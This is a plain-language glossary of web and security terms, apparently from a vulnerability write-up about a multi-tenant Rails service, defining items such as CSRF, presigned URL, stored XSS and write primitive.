- CNAME: a DNS record that makes one name an alias for another.
- Content-Security-Policy: a header telling the browser which sources a page may load from.
- Controller: the part of a Rails application that handles a particular kind of request.
- Cookie: a small note a server gives the browser and asks it to bring back on later requests.
- Cross-tenant: reaching another organisation's data on a shared system.
- CSRF: cross-site request forgery, an attack that makes your browser send a request to a site where you are logged in; the CSRF token is the defence.
- CSRF token: a secret value the server gives a page and checks on data-changing requests.
- CSS: the styling that decides how a web page looks.
- curl: a command-line program that sends web requests and prints the answers.
- CVSS: a scoring system for rating the severity of a security flaw.
- CWE-306: the catalogue entry for Missing Authentication for Critical Function.
- Default: behaviour you get without asking for it.
- Devise: a widely used Rails add-on for logging users in and out.
- DNS: the internet's address book, mapping names to machines.
- Enumerate: to try a list of likely names one by one.
- Fingerprinting: working out what software a site runs from small clues.
- Frontend: the code that runs in your browser.
- GET: an HTTP method meaning "give me something".
- Git revision: a label for one exact saved state of a codebase.
- Header: an extra line of information attached to a request or answer.
- HMAC: a signature made with a secret key, used to prove data was not altered.
- HTTP: the language of web requests and answers.
- HTTP/2: a newer version of that language.
- IdP: identity provider, the central service that checks your password for single sign-on.
- JSON: a structured text format for data, easy for programs to read.
- jq: a small program for picking values out of JSON text.
- MD5: one kind of checksum.
- Meta tag: a line inside a web page's source carrying information about the page.
- Multi-tenant: one shared system serving many organisations at once.
- Negative control: a test expected to fail, included to show a successful test was not a fluke.
- NXDOMAIN: the DNS answer meaning "no such name".
- OpenAPI spec: a machine-readable description of every operation an API offers.
- OpenSSL: a toolkit for inspecting encrypted connections.
- Orphaned blob: a stored file record that is no longer used or whose file was never uploaded.
- Parity: the same behaviour on two different systems.
- Path: the part of a URL after the address, pointing to a page or function.
- POST: an HTTP method meaning "here is data, create something".
- Presigned URL: a temporary web address granting permission to write one file into cloud storage.
- Probe artifact: a file a researcher leaves behind while testing.
- Purge job: a scheduled cleanup that deletes unwanted data.
- PUT: an HTTP method meaning "store this".
- Quota: a cap on total usage.
- Rails: Ruby on Rails, a popular toolkit for building websites.
- Rate limit: a cap on how many requests one client may make in a period.
- Replay: running the same steps again against a different target.
- robots.txt: a public file telling search engines which pages they may crawl.
- SaaS: software as a service, software the vendor runs for many customers.
- SAML: a standard for single sign-on; its metadata is a public description of how to connect.
- Session: a short-lived identity a server keeps for a browser, remembered through a cookie.
- Severity: how serious a finding is judged to be, from Low through Medium and High to Critical.
- Source: the original programming code of a piece of software.
- SSO: single sign-on, one login serving many services.
- Staging instance: a rehearsal copy of a website used before changes reach the real one.
- Stored XSS: cross-site scripting where the malicious content is saved on the server and served to whoever asks.
- Swagger: a tool that displays an API's documentation.
- Tenant: one organisation's space on a shared system.
- TLS: the encryption behind the padlock in your browser.
- Token: a short string standing in for proof of something.
- Topology: the layout of a system's parts.
- Unmetered: not counted or limited.
- URL: a web address.
- Websocket: a connection that stays open in both directions, letting the server push updates.
- Write primitive: a basic ability to create data on someone else's system.
- XSS: cross-site scripting, getting your own code to run inside someone else's website in that site's name.